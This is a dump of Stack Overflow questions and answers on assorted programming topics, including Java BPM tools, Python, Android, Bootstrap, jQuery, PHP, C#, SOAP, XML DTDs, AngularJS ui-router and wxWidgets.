26142138	0	 <p>In Java world, your use case is called as BPM (Business process management). </p> <p>In .Net world, this is called as Windows Workflow Foundation (WWF).</p> <p>There are many java based open source BPM tools. The one i like is <a href="http://www.jbpm.org/" rel="nofollow noreferrer">jBPM</a>.</p> <p>This is more powerful and can be integrated with rule engines like <a href="http://www.drools.org/" rel="nofollow noreferrer">Drools</a>.</p> <p>Sample jBPM Screenshot: <img src="https://i.stack.imgur.com/3aw9x.png" alt="jBPM Diagram"></p> <p>Also <a href="http://activiti.org/" rel="nofollow noreferrer">Activiti</a> is another good choice.</p> <p>Sample Activiti Screenshot: <img src="https://i.stack.imgur.com/SwngO.png" alt="Activiti Diagram"></p>
29859834	0	 <p>It seems like your question boils down to "how can I dynamically add a method to an object", the the short answer is don't do it (1). Objects can have attributes which can be functions, and that's fine, but these functions do not become methods and don't behave like methods. For example if <code>foo.attr is sum</code> then <code>foo.attr(x)</code> is the same as <code>sum(x)</code> not <code>sum(foo, x)</code>.</p> <p>Your question has a certain functional "aroma" to it, if you wanted to drop the class/object stuff and go the fully functional route you could do something like this:</p> <pre><code>def identity(x): return x def f(n): return [i for i in range(1, 10) if (n % i == 0)] def s(factors): return (len(factors) == 2) def foo(func, helper=identity): def innerfunc(n): return func(helper(n)) return innerfunc a = foo(f) print a(6) # [1, 2, 3, 6] b = foo(s, a) print b(5) # True </code></pre> <p>If that doesn't appeal to you, I would suggest thinking of the <code>func</code> and <code>parent</code> attributes on your <code>Foo</code> class as data attached to your objects, not as methods, and work out the problem from there. The logic associated with your class should live inside proper methods. These methods can refer to the data as needed. Here's my very simple example:</p> <pre><code>class Foo(object): def __init__(self, func, parent=None): self.func = func self.parent = parent def run(self, n): if self.parent is None: return self.func(n) else: return self.func(self.parent.run(n)) a = Foo(f) print a.run(6) # [1, 2, 3, 6] b = Foo(s, a) print b.run(5) # True </code></pre> <p>(1) Methods belong to a class not an object, so the question should really be how can I attach something to my object that behaves like a method.</p>
22794899	0	 <p>Horizontal Scroll View is only good if you have just a few items. If you have a lot, you should consider an alternative: a <a href="http://developer.android.com/reference/android/support/v4/view/ViewPager.html" rel="nofollow"><strong>ViewPager</strong></a> (in case you wish to show only a single item at a time), or a third party library like <a href="https://github.com/sephiroth74/HorizontalVariableListView" rel="nofollow"><strong>"Horizontal Variable ListView"</strong></a>. I'm sure there are other alternatives.</p> <p>note that the Gallery view is very inefficient and buggy so you shouldn't even try to use it. </p>
11835896	0	 <p>The advice here may work for you <a href="http://forums.asp.net/t/1063057.aspx" rel="nofollow">http://forums.asp.net/t/1063057.aspx</a> in short define and add a CssClass to your gridview then use plain old CSS stylesheet to target and decorate the control.</p>
33919058	0	Prevent iOS URL scheme hijack <p>I have an app that gets opened from another app via a URL scheme. The URL contains signup tokens. As any app can register the same URL scheme as my app, I am concerned a "fake" app can do a man-in-the-middle attack and capture the signup tokens.</p> <p>My idea is to check that the URL scheme does not open another app when my app is first opened.</p> <p>From a security perspective, if the URL scheme opens my app the first time, will it always open my app in the future?</p>
36742550	0	 <p>I found the error >> all what i forgot to do is to return data from http get in factory services.js >></p> <pre><code> .factory('stations',['$http',function($http){ var stations = []; return $http.get(base_url+'api/stations/uid/'+uu_id).success(function(response){ stations = response; return stations; }); }]) </code></pre>
14504280	0	 <p>There is no problem doing what you want, you just need to be carful with the HTML when you have nested columns. Here's a working example with fluid rows <a href="http://jsfiddle.net/panchroma/yYFMT/" rel="nofollow">http://jsfiddle.net/panchroma/yYFMT/</a> </p> <p>When using fluid rows, note that spans of the nested columns add to 12 and the HTML is </p> <pre><code>&lt;div class="row-fluid"&gt; &lt;div class="span8"&gt; &lt;div class="row-fluid"&gt; &lt;div class="span6"&gt;nested col&lt;/div&gt; &lt;div class="span6"&gt;nested col&lt;/div&gt; &lt;/div&gt; &lt;!-- end nested row --&gt; &lt;/div&gt; &lt;!-- end span 8 parent --&gt; &lt;div class="span4"&gt; span 4 &lt;/div&gt; &lt;/div&gt; &lt;!-- end row --&gt; </code></pre> <p>If you don't have fluid rows, the spans of the nested columns add up to the width of the parent, eg</p> <pre><code>&lt;div class="row"&gt; &lt;div class="span8"&gt; &lt;div class="row"&gt; &lt;div class="span4"&gt;nested col&lt;/div&gt; &lt;div class="span4"&gt;nested col&lt;/div&gt; &lt;/div&gt; &lt;!-- end nested row --&gt; &lt;/div&gt; &lt;!-- end span 8 parent --&gt; &lt;div class="span4"&gt; span 4 &lt;/div&gt; &lt;/div&gt; &lt;!-- end row --&gt; </code></pre> <p>Here's a working example of with non-fluid rows: <a href="http://jsfiddle.net/panchroma/MX6GK/" rel="nofollow">http://jsfiddle.net/panchroma/MX6GK/</a></p> <p>Good luck!</p>
7776710	0	Detect a hyperlink in a text - jQuery <p>I have a plain text, say, <code>"Hello how are you, please visit 'http://google.com'"</code>. </p> <p>I am displaying this in a div using jQuery (this text is being randomly generated). My question is, is there any way that I can detect that "http://google.com" in the text is a hyperlink and thereby convert that part of the text in to a clickable hyperlink?</p> <p>Thanks. </p>
18562867	0	 <p>Prestashop doesn't support "delete product animation", the store you mention as example (mangoshoppers.com) is not using prestashop, is not even PHP.</p>
30473500	0	Delete row from the page without refreshing the page <p>I use this method to delete a row from the table. I'm able to delete the row from the database and shows the 'status' alert. But i've to refresh the page for removing the row from the page. What should i do?</p> <pre><code>&lt;script type="text/javascript"&gt; function DeleteRow(btnDel) { $.get('../ProtocolSummary/DeleteRowATList?id2=' + btnDel, function(data, status){ alert("Status: " + status); }); $(btnDel).closest("tr").remove(); } &lt;/script&gt; ***Html*** &lt;tbody&gt; &lt;% var ATRowId = 0; foreach (var item in Model.List) {%&gt; &lt;tr style="text-align:center"&gt; &lt;td&gt;&lt;%=Html.TextAreaFor(m =&gt; m.List[RowId].Type, new { value = @Model.List[ATRowId].Type, @style = "width:260px;" })%&gt; &lt;%=Html.HiddenFor(x=&gt;x.List[RowId].AssistiveId,Model.ATList[RowId].AssistiveId) %&gt;&lt;/td&gt; &lt;td&gt;&lt;%=Html.TextAreaFor(m =&gt; m.List[RowId].Schedule, new { value = @Model.List[ATRowId].Schedule, @style = "width:260px;" })%&gt;&lt;/td&gt; &lt;td&gt;&lt;%=Html.TextAreaFor(m =&gt; m.List[RowId].Storage, new { value = @Model.List[ATRowId].Storage, @style = "width:260px;" })%&gt;&lt;/td&gt; &lt;td style="width:50px"&gt;&lt;input type="button" value="delete" class="btnDel" style="float:right;width:20px" onclick="DeleteRow(&lt;%= item.AssistiveId%&gt;)" /&gt;&lt;/td&gt; &lt;/tr&gt; &lt;% ATRowId++; }%&gt; &lt;/tbody&gt; </code></pre>
3221921	0	Change all with command line <p>I'm wondering if there is a way to change a specific word in all of the files within the /www/ directory using command line. Just looking for a faster way to change out a specific word so I don't need to open all the files manually! Thanks!</p>
6144517	0	php command line print in object not returning <p>I am trying to run some php from the command line but the php in my class is not being hit.</p> <pre><code>&lt;?php print "1"; try { print ",2"; $a = new myClass(""); } catch (Exception $e) { print $e-&gt;getMessage(); } print ",3"; </code></pre> <p>myClass</p> <pre><code>&lt;?php class myClass{ function __construct($var) { print "My Class"; } } </code></pre> <p>The output I am getting is:</p> <pre><code>1,2 Process finished with exit code 255 </code></pre> <p>Why is the print in the constructor not outputting to the command line?</p>
21633057	0	 <p>This isn't possible, but your goal <em>may</em> be achievable with <a href="http://msdn.microsoft.com/en-us/library/85w54y0a.aspx" rel="nofollow">conversion operators</a>. It seems that what you're trying to do is make it possible to pass an <code>IView&lt;T&gt;</code> as the <code>T</code> object which it contains. You could write a base class like this:</p> <pre><code>public abstract class ViewBase&lt;T&gt; { public abstract T SomeParam { get; } public static implicit operator T(ViewBase&lt;T&gt; view) { return view.SomeParam; } } </code></pre> <p>Then, if you define a class like:</p> <pre><code>public class SomeView : ViewBase&lt;ISomeView&gt; { } </code></pre> <p>It can be accepted anywhere an <code>ISomeView</code> is expected:</p> <pre><code>ISomeView view = new SomeView(); </code></pre>
23287646	0	 <p>If you have that textfile, you might just put a <code>rename</code> at the beginning of each line and save it as .<code>bat</code>.</p> <p>(E. g. with Notepad++, Search Mode = Extended, replace <code>\n</code> with <code>\nrename</code>, maybe check first and last lines)</p>
37651690	0	 <p>I think the change of basis could help you<a href="https://en.wikipedia.org/wiki/Change_of_basis" rel="nofollow" title="Wiki Link">Wiki Link</a>. Its quite easy to implement. </p>
28595643	0	How can a Makefile determine the binary format the compiler will create? <p>Is it possible for a Makefile to determine what binary format the compiler is targeting (i.e. PE, ELF, Mach-O, etc.)? Maybe by running the compiler or assembler with certain options?</p> <p>Or can I accurately determine this from the OS (by running <code>uname -s</code> or something of the sort)?</p>
27024730	0	How can I make the code segments of this page more readable? <p>Sorry about the specific question - I'm writing up this page for my portfolio <a href="http://ashereinhorn.com/portfolio/2014/hex-tile-world-script-page-unfinished/" rel="nofollow">http://ashereinhorn.com/portfolio/2014/hex-tile-world-script-page-unfinished/</a></p> <p>however the column is so narrow that it results in some undesirable formatting for the dark, code segments. </p> <p>How can I make these section expand further to the right (and left?) so that there is less line wrapping. </p> <p>I'm writing it all in HTML so a solution with just that would be perfect. I'm not against solutions where you have to expand them or they open a floating element that displays the content either. </p> <p>Thank you in advance. </p>
2277	0	 <p>From the <a href="http://www.python.org/doc/faq/general/#why-are-there-separate-tuple-and-list-data-types" rel="nofollow noreferrer">Python FAQ</a>:</p> <blockquote> <p>Lists and tuples, while similar in many respects, are generally used in fundamentally different ways. Tuples can be thought of as being similar to Pascal records or C structs; they're small collections of related data which may be of different types which are operated on as a group. For example, a Cartesian coordinate is appropriately represented as a tuple of two or three numbers.</p> <p>Lists, on the other hand, are more like arrays in other languages. They tend to hold a varying number of objects all of which have the same type and which are operated on one-by-one.</p> </blockquote> <p>Generally by convention you wouldn't choose a list or a tuple just based on its (im)mutability. You would choose a tuple for small collections of completely different pieces of data in which a full-blown class would be too heavyweight, and a list for collections of any reasonable size where you have a homogeneous set of data.</p>
35588607	0	 <p>If you are simply extending the list already in the Dictionary with key <code>oldKey</code> then <code>mainGraph[oldKey].Add(newValue);</code> will do it.</p>
20296784	0	 <p>Instead this <code>String.valueOf(tokenizer.nval)</code> use <code>tokenizer.sval</code> and use 'list.add (sval)'.</p>
912429	0	 <p>I agree with most of the others here. I think you should really try to uncomplicate things by using another already build free option like itunes, Winamp or WMP. If you really want to learn something new, do this just for fun after when you won't be under so much pressure to make it work.</p> <p>If, however you REALLY want to go through with this I think <a href="http://code.google.com/p/ffmpeg-sharp/" rel="nofollow noreferrer">http://code.google.com/p/ffmpeg-sharp/</a> should do what you want.</p>
37591413	0	 <p>Did you already create a podile?</p> <p>With cocoapods installed, take the following steps:</p> <ul> <li>Open a terminal window, and $ cd into your project directory (cd ~/Path/To/Folder/Containing/your/app)</li> <li>Create a Podfile by running $ pod init</li> <li>Open the podfile (open -a Xcode Podfile) and add the podline and save the file, for example:</li> </ul> <blockquote> <p>pod 'AFNetworking', '~> 3.0'</p> </blockquote> <ul> <li>Run $ pod install in your project directory </li> <li>Open App.xcworkspace</li> </ul> <p>Please find a more extended guide <a href="https://www.raywenderlich.com/97014/use-cocoapods-with-swift" rel="nofollow">here</a></p> <p>Hope this helps!</p>
14925551	0	What does class << self mean? <p>Regarding:</p> <pre><code>class Test class &lt;&lt; self def hi puts "Hi there" end end </code></pre> <p>I came up with following image in my head:</p> <p>Since everything is an object in Ruby, classes themselves are objects of class <code>Class</code>. By calling <code>class &lt;&lt; self</code> you open up <code>Class</code> definition from the inside of <code>Test</code> and inject few instance methods. Since <code>Test</code> is an instance of <code>Class</code>, you can call those methods same way you call instance methods on your objects: <code>Test.hi</code>. </p> <p>Following is the pseudo code which helps to visualise my previous sentence:</p> <pre><code>class Class def hi puts “Hi there” end end Test = Class.new(class Test end) Test.hi </code></pre> <p>Am I getting this right?</p>
14477804	0	 <p>The <code>.htaccess</code> method mentioned by Yada is valid. Another approach would be to do this in your PHP script itself. If it's a cronjob running through CLI:</p> <pre><code>if (!empty($_SERVER['REMOTE_ADDR'])) { // If a "remote" address is set, we know that this is not a CLI call header('HTTP/1.1 403 Forbidden'); die('Access denied. Go away, shoo!'); } </code></pre> <p>Or if it's triggered by a browser request from the other PHP script, just verify if the IP is yours/local:</p> <pre><code>if ($_SERVER['REMOTE_ADDR'] != '192.168.1.5') { // Or whatever your local IP is header('HTTP/1.1 403 Forbidden'); die('Get out and stay out!'); } </code></pre>
15929012	0	Is it possible to use a parent table Id instead of child table Id, when child table should put it's Id into another table <p>I have this Generalization relation ship between some classes in my class diagram. FirstClass as a base class that has Name attribute, SecondClass as a derived class that the FirstClass is it's base class and has some other attributes and finally ThirdClass that is a derived class from SecondClass and it has some other attributes too. ThirdClass as an association relation ship with Widget class, 1.*.</p> <p><img src="https://i.stack.imgur.com/8ytZp.png" alt="enter image description here"></p> <hr> <p>I used Joined strategy when I wanted to implement a Data Model from the class diagram. so the FirstTable has their Pk in the SecondTable and the SecondTable has its PK in the ThirdTable. As you see Third table should has it's PK in Widget class. And there are some costs whenever I want to Join widget table with third table because I need to fetch Name from First Table.</p> <p>Is it appropriate that I read Id from FirtTable (Actually it's base class) and put it into Widget table? </p> <hr>
31686783	0	 <p>Use the <code>.figure()</code> function to create a new window, the following code makes two windows:</p> <pre><code>import matplotlib.pyplot as plt plt.plot(range(10)) # Creates the plot. No need to save the current figure. plt.draw() # Draws, but does not block plt.figure() # New window, if needed. No need to save it, as pyplot uses the concept of current figure plt.plot(range(10, 20)) plt.draw() </code></pre> <p>You can repeat this as many times as you want</p>
11755163	0	 <p>Check the Permissions section at <a href="https://developer.spotify.com/technologies/apps/guidelines/" rel="nofollow">https://developer.spotify.com/technologies/apps/guidelines/</a></p> <p>You will need to add the URLs google web fonts are loaded from to the RequiredPermissions element. </p>
13190317	0	 <p>Yes, I agree with Ivan. If you use this technique, it will consume high resource on the server and most of shared hosting doesnt permit it as it will make the instability on the server. If you want to try on shared hosting, I believe you need to sign up the highest plan. Or you can deal with the provider and ask their best price. :) For ASP.NET provider, I would recommend you to find it on Microsoft site as they really specialize in this field. If it still doesnt work, you need to use VPS or cloud. good luck.</p>
30423788	0	 <p>You question is a bit unclear, but I think this will point you in a productive direction. SQL is designed to perform operation on sets of rows, not to loop through processing one row at a time. The following code will correlate your data into one row for each pair of slots at each date/time. You can use a <code>CASE</code> expression, as shown, to add a column that indicates the status of the row, and you can then add a <code>WHERE</code> clause, not shown, to perform any additional filtering.</p> <pre><code>-- Sample data. declare @Samples as Table ( SampleId Int, Slot Int, EventDate Date, StartTime Time(0), EndTime Time(0), Action VarChar(10) ); insert into @Samples ( SampleId, Slot, EventDate, StartTime, EndTime, Action ) values ( 200, 1, '20150501', '00:00:00', '00:30:00', NULL ), ( 201, 2, '20150501', '00:00:00', '00:30:00', NULL ), ( 202, 1, '20150501', '00:30:00', '01:00:00', 'A' ), ( 203, 2, '20150501', '00:30:00', '01:00:00', NULL ), ( 204, 1, '20150501', '01:00:00', '01:30:00', NULL ), ( 205, 2, '20150501', '01:00:00', '01:30:00', 'A' ), ( 206, 1, '20150501', '01:30:00', '02:00:00', 'B' ), ( 207, 2, '20150501', '01:30:00', '02:00:00', 'B' ); select * from @Samples; -- Data correleated for each date/time. select Slot1.EventDate, Slot1.StartTime, Slot1.EndTime, Slot1.Action as Action1, Slot2.Action as Action2, Coalesce( Slot1.Action, Slot2.Action ) as SummaryAction, case when Slot1.Action = Slot2.Action then 'ERROR!' else 'Okay.' end as Status from @Samples as Slot1 inner join @Samples as Slot2 on Slot2.EventDate = Slot1.EventDate and Slot2.StartTime = Slot1.StartTime and Slot1.Slot = 1 and Slot2.Slot = 2; </code></pre>
36993416	0	 <p>You can use the <code>body-parser</code> middleware:</p> <pre><code>$ npm install body-parser --save </code></pre> <p>Then:</p> <pre><code>const express = require('express') const bodyParser = require('body-parser') const app = express() app.use(bodyParser.urlencoded({ extended: true })) app.use(bodyParser.json()) app.post('/foo', function (req, res) { // req.body is a plain object }) </code></pre>
27653861	0	 <p>Unicode provides <strong>Directional Formatting Characters</strong>,and Qt supports it well.</p> <p>Thus,for <strong><code>QLabel</code></strong> and <strong><code>QLineEdit</code></strong> etc. we can insert a <strong><code>LRM</code></strong> control character<br/> ,which is define in <strong>Unicode Bidirectional Algorithm</strong>, at the beginning of a <strong>RightToLeft</strong> string to make the string <strong>left-alignment</strong>.For more information about <strong>Unicode Bidirectional Algorithm</strong>,click <a href="http://www.unicode.org/reports/tr9/" rel="nofollow">here</a>.</p> <pre><code>QString(QChar(0x200E))+strText; </code></pre> <p>And for <strong><code>QTextEdit</code></strong> etc. which has a <strong><code>QTextDocument</code></strong> we can make <strong>RightToLeft</strong> string <strong>left-alignment</strong> by setting <strong><code>QTextDocment</code></strong>'s <code>textDirection</code> to <strong><code>Qt::LeftToRight</code></strong>. </p> <p>ps:<br/> <strong><code>QString</code></strong> has a <strong><code>isRightToLeft</code></strong> member function to decide whether the string is <strong>RightToLeft</strong> or not. For example,a string that begins with a notation from <strong>Right-to-left</strong> writting language is <strong>RightToLeft</strong>. </p> <p>I answered <a href="http://stackoverflow.com/questions/27615175/how-to-make-right-to-left-language-eg-arabic-characters-behave-like-left-to-ri/27653970#27653970">another one</a>,which maybe helpful for finding your own solution.</p>
1762311	0	In C# , How can i create a System.Drawing.Color object using a hex value? <p>In C# , How can i create a System.Drawing.Color object using a value like this #FFFFF,#FGFG01 etc... </p>
38892754	0	How to call SOAP API from the browser <p>I have a localhost SOAP API that I can call using Chrome's extension <a href="https://chrome.google.com/webstore/detail/boomerang-soap-rest-clien/eipdnjedkpcnlmmdfdkgfpljanehloah/reviews" rel="nofollow">Boomerang - SOAP &amp; REST Client</a> it works and I get results with this request:</p> <pre><code>&lt;x:Envelope xmlns:x="http://schemas.xmlsoap.org/soap/envelope/" xmlns:eko="http://localhost:8080/api/myapi.wsdl"&gt; &lt;x:Header/&gt; &lt;x:Body&gt; &lt;eko:getReview&gt; &lt;eko:auth&gt;123abfdbgfdg&lt;/eko:auth&gt; &lt;eko:changed_since&gt;2016-06-07&lt;/eko:changed_since&gt; &lt;eko:rating_id&gt;?&lt;/eko:rating_id&gt; &lt;eko:product_id&gt;?&lt;/eko:product_id&gt; &lt;/eko:getReview&gt; &lt;/x:Body&gt; &lt;/x:Envelope&gt; </code></pre> <p>Now I need to call this API method; getReview, using the browser. So I tried to pass those parameters like this:</p> <pre><code>http://localhost/api/api.php/getReview/123abfdbgfdg/2016-06-07 </code></pre> <p>But seems not working: I just get back the WSDL service help, but not the actual call results.</p> <p>Is it even possible to call SOAP from browser?</p>
4744507	0	XML, DTD: how to make the order not important <p>I started off using an XML file and a parser as a convenient way to store my data</p> <p>I want to use DTD to check the structure of the xml files when they arrive.</p> <p>Here is my DTD file </p> <pre><code>&lt; ?xml version="1.0" encoding="UTF-8"?&gt; &lt; !ELEMENT document (level*)&gt; &lt; !ELEMENT level (file,filelName?,fileNumber?)&gt; &lt; !ELEMENT file (#PCDATA)&gt; &lt; !ELEMENT filelName (#PCDATA)&gt; &lt; !ELEMENT fileNumber (#PCDATA)&gt; </code></pre> <p>(note that fileName and fileNumber are actually purely optional)</p> <p>and </p> <pre><code>&lt;document&gt; &lt;level&gt; &lt;file&gt;group1file01&lt;/file&gt; &lt;/level&gt; &lt;level&gt; &lt;file&gt;group1file02&lt;/file&gt; &lt;fileName&gt;file 2&lt;/fileName&gt; &lt;fileNumber&gt;0&lt;/fileNumber&gt; &lt;/level&gt; ... </code></pre> <p>as such all this works fine. (I use eclipse "validate" option to test it for now)</p> <p>however while testing I got what I think is a wierd error</p> <p>if I do </p> <pre><code> &lt;level&gt; &lt;levelName&gt;Level 2&lt;/levelName&gt; &lt;levelNumber&gt;0&lt;/levelNumber&gt; &lt;file&gt;group1level02&lt;/file&gt; &lt;/level&gt; </code></pre> <p>changing the order of the lines, Eclipse refuses to validate it ...</p> <p>I was wondering if this was a problem with Eclipse or if the order is actually important.</p> <p>If the order is important how can I change the DTD to make it work no matter the ordering of he elements?</p> <p>I can't really change the XML because I already have all the XML files and the parser written (I know I did it the wrong way round lol).</p>
17190654	0	How to create text file in given directory in iphone and android <p>can you please tell me hoe to create text file in given given directory .I need write on that text file .and read the text from that text file. I am able to create folder using this code .But i need to add text file inside the folder(newDir).</p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;Local File System Example&lt;/title&gt; &lt;script type="text/javascript" charset="utf-8" src="cordova-x.x.x.js"&gt;&lt;/script&gt; &lt;script type="text/javascript" charset="utf-8"&gt; // Wait for Cordova to load document.addEventListener("deviceready", onDeviceReady, false); // Cordova is ready function onDeviceReady() { window.requestFileSystem(LocalFileSystem.PERSISTENT, 0, onFileSystemSuccess, onFileSystemFail); } function onFileSystemSuccess(fileSystem) { console.log(fileSystem.name); var directoryEntry = fileSystem.root; directoryEntry.getDirectory("newDir", {create: true, exclusive: false}, onDirectorySuccess, onDirectoryFail) } function onDirectorySuccess(parent) { console.log(parent); } function onDirectoryFail(error) { alert("Unable to create new directory: " + error.code); } function onFileSystemFail(evt) { console.log(evt.target.error.code); } &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;h1&gt;Example&lt;/h1&gt; &lt;p&gt;Local File System&lt;/p&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
25194097	0	image existing on http://website.com but not on www.website.com <p>I uploaded an image earlier today and it works fine so long as i do not type www into the URL in front... We have had this problem multiple times and I have no idea why this keeps happening or what I can do to help the problem...</p> <p>I have tried to access from multiple browsers and computers to see if it's a caching issue but alas, it does not seem to work...</p> <p>I have used both google AND the stack overflow search functions in an attempt to find someone else with the same problem. Maybe I'm not very good at googling, but I wasn't able to find someone else. I did find qiestions that asked between the differences between using www and not using it, but not a single of them had files that could be located on one of them while not on the other.</p>
2623763	0	 <p><code>SomeStruct.OtherStruct</code> is a property, returning a value - it's not a variable. This line:</p> <pre><code>a.OtherStruct.PublicProperty++; </code></pre> <p>is like calling:</p> <pre><code>a.get_OtherStruct().PublicProperty++; </code></pre> <p>Because the expression <code>a.get_OtherStruct()</code> is a <em>value</em> rather than a <em>variable</em>, it's a bit like doing this:</p> <pre><code>OtherStruct tmp = a.get_OtherStruct(); tmp.PublicProperty++; </code></pre> <p>Changing the value of <code>PublicProperty</code> in the <em>copy</em> of <code>OtherStruct</code> returned by the property isn't going to change the original value at all. That's almost certainly not your intention. The C# designers foresaw this sort of problem, and managed to prohibit it in many situations.</p> <p>Note that if <code>OtherStruct</code> were a reference type (a class) instead, then it would be the <em>reference</em> that was copied, not the values within it... so changing <code>tmp.PublicProperty</code> <em>would</em> make a difference. See my <a href="http://pobox.com/~skeet/csharp/references.html" rel="nofollow noreferrer">article on reference and value types</a> for more information.</p> <p>Btw, mutable structs like this are generally a really bad idea. They cause all kinds of problems, and hard-to-predict code.</p> <p>EDIT: In response to your "answer", the two lines <em>aren't</em> the same: the <code>a.OtherStruct</code> property expression isn't the target of an assignment operator or a compound assignment operator.</p> <p>You can argue that you'd like C# to be defined in a way which would allow this (although I'd still disagree) but the compiler <em>is</em> implementing the specification correctly. See section 10.7.2 of the C# 3.0 spec for more details.</p>
18494356	0	 <blockquote> <p>Why doesn't C++ provide us with a constructor which takes an array as an argument?</p> </blockquote> <p>Why would it? A <code>std::set</code> is not an array, and it already has a constructor that takes iterators to initialize it, so adding another constructor for an array is unnecessary. <code>std::vector</code> IS an array and even it does not have a constructor that takes an array.</p> <blockquote> <p>Alternatively, is there anything wrong with defining the following function?</p> </blockquote> <p>Yes and no. It is unnecessary as you can just write</p> <pre><code>MyType myArray[mySize]; std::set&lt;MyType&gt; mySet(myArray, myArray + sizeof(myArray) / sizeof(array[0]); // or std::set&lt;MyType&gt; mySet(myArray, myArray + mySize); // or std::set&lt;MyType&gt; mySet(std::begin(myArray), std::end(myArray)); c++11 </code></pre> <p>It isn't really worthy of its own function.</p> <p>If you really want to write a function to help you out, I'd approach it by porting <code>std::begin</code> and <code>std::end</code> to C++03. Those would at least be more usable than a function specifically to create a <code>std::set</code>.</p> <p>It would look exactly like what Konrad posted in his answer.</p>
30401906	0	PyQt4: Where can you make menus? <p>I'm using Python 3 and PyQt4</p> <p>I'm trying to make a simple main window with a menubar. It doesn't work if I try to set up the menubar in the MainWindow initialization but does work if I set it up in some external function. That is, the following does NOT work:</p> <pre><code>import sys from PyQt4 import QtGui class MyMainWindow(QtGui.QMainWindow): def __init__(self, parent=None): super().__init__(parent) centralWidget = QtGui.QWidget() menubar = QtGui.QMenuBar() menu = QtGui.QMenu("File") menu.addAction("New") menubar.addMenu(menu) self.setMenuBar(menubar) self.setCentralWidget(centralWidget) if __name__ == "__main__": app = QtGui.QApplication(sys.argv) mainWindow = MyMainWindow() mainWindow.show() sys.exit(app.exec_()) </code></pre> <p>While if I simply move the menu setup down to the main routine:</p> <pre><code>class MyMainWindow(QtGui.QMainWindow): def __init__(self, parent=None): super().__init__(parent) if __name__ == "__main__": app = QtGui.QApplication(sys.argv) mainWindow = MyMainWindow() centralWidget = QtGui.QWidget() menubar = QtGui.QMenuBar() menu = QtGui.QMenu("File") menu.addAction("New") menubar.addMenu(menu) mainWindow.setMenuBar(menubar) mainWindow.setCentralWidget(centralWidget) mainWindow.show() sys.exit(app.exec_()) </code></pre> <p>Then the menu is created (I know I don't have any actions hooked up, this is stripped down to show the oddity). I thought it might have to do with being in <strong>init</strong> but moving it to another class routine, e.g. setup(self), and then calling that after creating the mainWindow doesn't solve the problem. </p> <p>I seem to be continually baffled by what works and what doesn't in PyQt4. If anyone could point me at some good resources I'd also appreciate it (I've read <strong>Rapid GUI Programming</strong> but find I'm still lost).</p> <p>Thanks in advance for your help</p>
25358040	0	AngularJS with ui-router: Changing value of a parent dependency of from child's controller <p><strong>Environment</strong>: AngularJS application (using UI Router) that has nested states.</p> <p><strong>Short version:</strong> How do I change the value of a parent-state's dependency from inside a child's controller, such that siblings of the child state, who are also using the dependency will get the new value.</p> <p><strong>Long version</strong>: Take the following configuration:</p> <pre><code>shopApp.config(function($stateProvider) { $stateProvider.state('shop', { url : '/shop', templateUrl : 'shop.html', resolve : { user : function($q) { // callback that ends up returning null // because the user is not logged in } }, controller: function($scope, user) { // user is null at this point $scope.user = user; } }).state('shop.login', { url : '/login', templateUrl : 'login.html', controller : function($scope) { // onLoggedIn is called from some form-processing // logic once the user has successfully logged in $scope.onLoggedIn = function(userObject) { // I want the shop.userDetails state's controller // to get the new $scope.user value $scope.user = userObject; $state.go('^.userDetails'); }; } }).state('shop.userDetails', { url : '/userDetails', templateUrl : 'userDetails.html', controller : function($scope, user) { // Unfortunately user is null here $scope.user = user; } }); }); </code></pre> <p>The <em>shop.login</em> state's controller has a function called <em>onLoggedIn</em> that's called once the user has logged in successfully. An object containing user-information is passed to this function. From this point on I want all resolutions of the <em>user</em> dependency to use this value (i.e <em>userObj</em>). Unfortunately, instead of using the value that I've just assigned to <em>$scope.user</em>, it seems that the value that gets passed to the controller of <em>shop.userDetails</em> is the one that was originally resolved when the <em>shop</em> state's controller was created.</p> <p>Does anyone know how to do this? If I'm doing this all wrong please tell me.</p>
11507316	0	 <p>In Netbeans 7.2 it is in Tools-Options-Editor-Formatting-Line Wrap (default off). </p>
29745437	0	 <p>Pretty late on answering this question. Guess I had never worked on this problem then. But not that I have been looking into it for sometime now, I can share some insight. What @greedybuddha is saying is mostly right, but they are tricks and techniques to prevent creating the tree entirely every time step. As usual these techniques with their own overheads (memory footprint etc) and necessary trade-offs need to be made. Also, it may not be possible to apply them in all situations. </p> <ol> <li><p><strong>Allocate enough memory upfront to handle octree of a given depth. Deallocate the memory only when all timessteps have finished.</strong> For example suppose for all n-body input data sets you are going to use, you know that your Octree will never go beyond a depth of say 10. In that case it is easy to figure out how many maximum nodes you octree might have(usually its a geometric progression sum). By doing a bit of bookkeeping(valid child indexes of each node) for every octree node, it is easy to reuse this buffer to fill in octree nodes without needing to allocate/deallocate octree nodes every timestep. Clearly the likely overhead here is that you might be wasting lot of memory but then you gain performance by not doing allocation/deallocation every timestep Usual way of going about bounding the number of octree levels is to allow multiple bodies per leaf node (last level of octree or smallest cell size of octree grid)</p></li> <li><p><strong>Create a new Octree only when needed</strong>: It is possible to think about a situation where octree doesn't change for some series (burst) of timesteps and then it changes and the pattern repeats. This can happen only when bodies positions change insignificantly over a timestep burst such that octree structure remains the same during that burst. And in what situation will bodies move slowly - when the chosen timestep size is pretty small, forces exerted + initial momentum on bodies is small. How to dynamically figure out such bursts is a difficult problem. This is a more tricky technique and I dont know whats the easy way to do this. This requires some insight of timestep granularity, initial velocity/acceleration of the bodies and kind of forces the bodies are dealing with.</p></li> </ol>
8137371	0	wxWidgets OnInit <p>This code works fine:</p> <pre><code>#include &lt;wx/wx.h&gt; class MyApp : public wxApp { virtual bool OnInit(); }; IMPLEMENT_APP(MyApp) bool MyApp::OnInit() { wxFrame *frame = new wxFrame(NULL, -1, _("Hello World"), wxPoint(50, 50), wxSize(450, 350)); frame-&gt;Show(true); return true; } </code></pre> <p>But this doesn't:</p> <pre><code>#include &lt;wx/wx.h&gt; class MyApp : public wxApp { virtual bool OnInit(); }; IMPLEMENT_APP(MyApp) bool MyApp::OnInit() { wxFrame frame(NULL, -1, _("Hello World"), wxPoint(50, 50), wxSize(450, 350)); frame.Show(true); return true; } </code></pre> <p>It doesn't give any compilation/link/execution error, just don't show up the window. Why this?</p>
